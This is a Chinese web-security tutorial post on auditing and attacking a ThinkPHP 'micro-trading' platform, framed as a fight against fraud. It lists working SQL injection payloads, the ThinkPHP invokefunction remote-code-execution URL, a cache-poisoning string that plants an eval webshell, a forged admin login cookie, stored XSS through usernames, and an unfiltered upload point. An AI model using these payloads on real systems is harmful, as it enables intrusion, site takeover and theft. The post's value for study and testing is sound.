PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

Ethan医生2个月前WEB安全90


背景交代:

旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!

模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。

 

搭建复现:

1、目录指向绑定域名

2、修改配置导入SQL文件

3、加入修改伪静态配置

 

-不安全写法

where->ChickIsOpen->goods->pid

/index.php/index/goods/goods/pid/6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))

where->ajaxkdata->pid

/index.php/index/goods/ajaxkdata/pid/6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))

 

-XSS跨站

可以挖危害不大的前台XSS

也可以找危害大的后台XSS

观察后台显示的数据那些可以前台控制:用户名

用户名注册时带入XSS攻击语句,当后台管理员查看用户列表时触发

 

-逻辑验证

脆弱验证未授权访问

token采用固定生成导致未授权访问

请先登录->Base::__construct->cookie->Login::login->$_SESSION['token']

denglu=think:{"otype":"3","userid":"1","username":"admin","token":"3c341b110c44ad9e7da4160e4f865b63"}


-版本漏洞(对比项目找已知漏洞)

1、代码执行

存在:

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

2SQL注入

有版本漏洞但没入口

public function test()

{

//SQL注入

$username = request()->get('username');

$result = db('userinfo')->where('username',$username)->select();

return 'select success';

}

) and updatexml(1,concat(0x7,user(),0x7e),1)%23

 

 

4、缓存漏洞

有版本漏洞但没入口

public function index()

{

//缓存漏洞

Cache::set("name",input("get.username"));

return 'Cache success';

}

?username=mochazz123%0d%0a@eval($_GET[_]);//*

runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php

 

3、文件包含

有版本漏洞但没入口

public function include_test()

{

//文件包含

//index.php/index/xiaodi/include_test?cacheFile=1.txt

$this->assign(request()->get());

return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html

}

//index.php/index/xiaodi/include_test?cacheFile=1.txt

 

4、反序列化

无此版本漏洞

 

-文件上传

功能点分析,定位文件,无过滤直接上传

/admin/setup/editconf.html->editconf->file->move


标签: PHPThinkPHP

相关文章

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证

PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证

-MVC流程:1、Controller截获用户发出的请求;2、Controller调用Model完成状态的读写操作;3、Controller把数据传递给View;4、View渲染最终结果并呈献给用户。...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。